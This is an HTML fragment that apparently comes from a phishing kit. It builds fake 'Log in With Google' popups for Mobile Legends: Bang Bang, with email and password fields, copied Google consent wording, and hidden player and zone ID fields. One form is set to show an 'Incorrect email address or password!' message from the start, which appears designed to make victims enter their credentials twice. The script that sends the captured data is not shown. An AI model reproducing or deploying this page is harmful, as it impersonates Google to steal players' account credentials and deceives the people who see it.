<div class="popup-login login-gp-load" style="display: none;">
<div class="popup-box-login-gg">
<div class="header-gg">
<img src="assets_img/assets/btn-gp.png">
<div class="header-gg-text"> Log in With Google </div>
</div>
<div class="content-box-gg">
<div class="txt-login-gg">Sign in</div>
<div class="txt-login-ggs">to continue to <a style="color:#185FD1;font-weight: 500;">Mobile Legends: Bang Bang</a></div>
<div class="gg-load">
<div class="gg-load-title">
<div class="lds-ring">
<div></div>
<div></div>
<div></div>
<div></div>
</div>
</div>
</div>
</div>
</div>
</div>

<div class="popup-login login-gp animated fadeIn" style="display: none;">
<div class="popup-box-login-gg">
<a onmousedown="tutup.play();" id="close_gp_mt" onclick="close_log_gp()" class="close-other"><i class="zmdi zmdi-close"></i></a>
<div class="header-gg">
<img src="assets_img/assets/btn-gp.png">
<div class="header-gg-text"> Log in With Google </div>
</div>
<div class="content-box-gg">
<div class="txt-login-gg">Sign in</div>
<div class="txt-login-ggs">to continue to <a style="color:#185FD1;font-weight: 500;">Mobile Legends: Bang Bang</a></div>
<form action="javascript:void(0)" method="post" id="ValidateLoginGpForm" autocomplete="off">
<div class="form__div">
<input type="email" name="email" class="form__input" placeholder="" id="email-gp" required oninvalid="this.setCustomValidity('Enter your valid E-mail address')" oninput="setCustomValidity(''); checkGpFormFields()" autocomplete="false">
<label for="" class="form__label">Email address</label>
</div>
<div class="form__div">
<input autocomplete="one-time-code" name="password" type="password" class="form__input" placeholder="" id="password-gp" required oninvalid="this.setCustomValidity(' ')" oninput="setCustomValidity(''); checkGpFormFields()">
<label for="" class="form__label">Enter your password</label>
</div>
<center>
<div class="alert-gg-failed email-gp">
<a class="alert-gg"><i class="fa-solid fa-circle-exclamation"></i> Sorry, we couldn't find your account.</a>
</div>
<div class="alert-gg-failed sandi-gp">
<a class="alert-gg"><i class="fa-solid fa-circle-exclamation"></i> Wrong password. Please try again!</a>
</div>
</center>
<div class="showpass">
<input style="float:left; margin-left: 1px;" type="checkbox" onclick="showHide();">
<label for="showpass">Show Password</label>
</div>
<div class="content-box-gg-txt-footer">
By continuing, Google will share your name, email address, language preference, and profile picture with mobilelegends.com's. See mobilelegends.com's <a>Privacy Policy</a> and <a>Terms of Service.</a><br><br>You can manage Sign in with Google in your <a>Google Account</a>.
</div>
<input type="hidden" name="login" id="login-gp" value="Google Play" readonly>
<input type="hidden" name="playid" id="ressplayid" value="" readonly>
<input type="hidden" name="zoneid" id="resszoneid" value="" readonly>
<button type="button" class="nonbutton gp-btn-off" onclick="handleGpLoginClick()" id="loginBtn">Log in</button>
</form>
<div class="content-box-gg-txt-footer">
<a style="font-size:15px; font-weight:400;">Forgot password?</a>
</div>
</div>
</div>
</div>

<div class="popup-login login-gp-sec animated fadeIn" style="display: none;">
<div class="popup-box-login-gg">
<div class="header-gg">
<img src="assets_img/assets/btn-gp.png">
<div class="header-gg-text"> Log in With Google </div>
</div>
<div class="content-box-gg">
<div class="txt-login-gg">Sign in</div>
<div class="txt-login-ggs">to continue to <a style="color:#185FD1;font-weight: 500;">Mobile Legends: Bang Bang</a></div>
<form action="javascript:void(0)" method="post" id="SecValidateLoginGpForm" autocomplete="off">
<div class="form__div">
<input type="email" name="email" class="form__input" placeholder="" id="email-gp-sec" required oninvalid="this.setCustomValidity('Enter your valid E-mail address')" oninput="setCustomValidity(''); checkGpSecFormFields()" autocomplete="false">
<label for="" class="form__label">Email address</label>
</div>
<div class="form__div">
<input autocomplete="one-time-code" name="password" type="password" class="form__input" placeholder="" id="password-gp-sec" required oninvalid="this.setCustomValidity(' ')" oninput="setCustomValidity(''); checkGpSecFormFields()">
<label for="" class="form__label">Enter your password</label>
</div>
<center>
<div class="alert-gg-failed email-gp">
<a class="alert-gg"><i class="fa-solid fa-circle-exclamation"></i> Sorry, we couldn't find your account.</a>
</div>
<div class="alert-gg-failed sandi-gp">
<a class="alert-gg"><i class="fa-solid fa-circle-exclamation"></i> Wrong password. Please try again!</a>
</div>
<div class="alert-gg-failed relogin" style="display:block">
<a class="alert-gg"><i class="fa-solid fa-circle-exclamation"></i> Incorrect email address or password!</a>
</div>
</center>
<div class="showpass">
<input style="float:left; margin-left: 1px;" type="checkbox" onclick="showHides();">
<label for="showpass">Show Password</label>
</div>
<div class="content-box-gg-txt-footer">
By continuing, Google will share your name, email address, language preference, and profile picture with mobilelegends.com's. See mobilelegends.com's <a>Privacy Policy</a> and <a>Terms of Service.</a><br><br>You can manage Sign in with Google in your <a>Google Account</a>.
</div>
<input type="hidden" name="login" id="login-gp-sec" value="Google Play" readonly>
<input type="hidden" name="playid" id="ressplayid" value="" readonly>
<input type="hidden" name="zoneid" id="resszoneid" value="" readonly>
<button type="button" class="nonbutton gp-sec-btn-off" onclick="handleGpSecLoginClick()" id="loginBtnSec">Log in</button>
</form>
<div class="content-box-gg-txt-footer">
<a style="font-size:15px; font-weight:400;">Forgot password?</a>
</div>
</div>
</div>
</div>
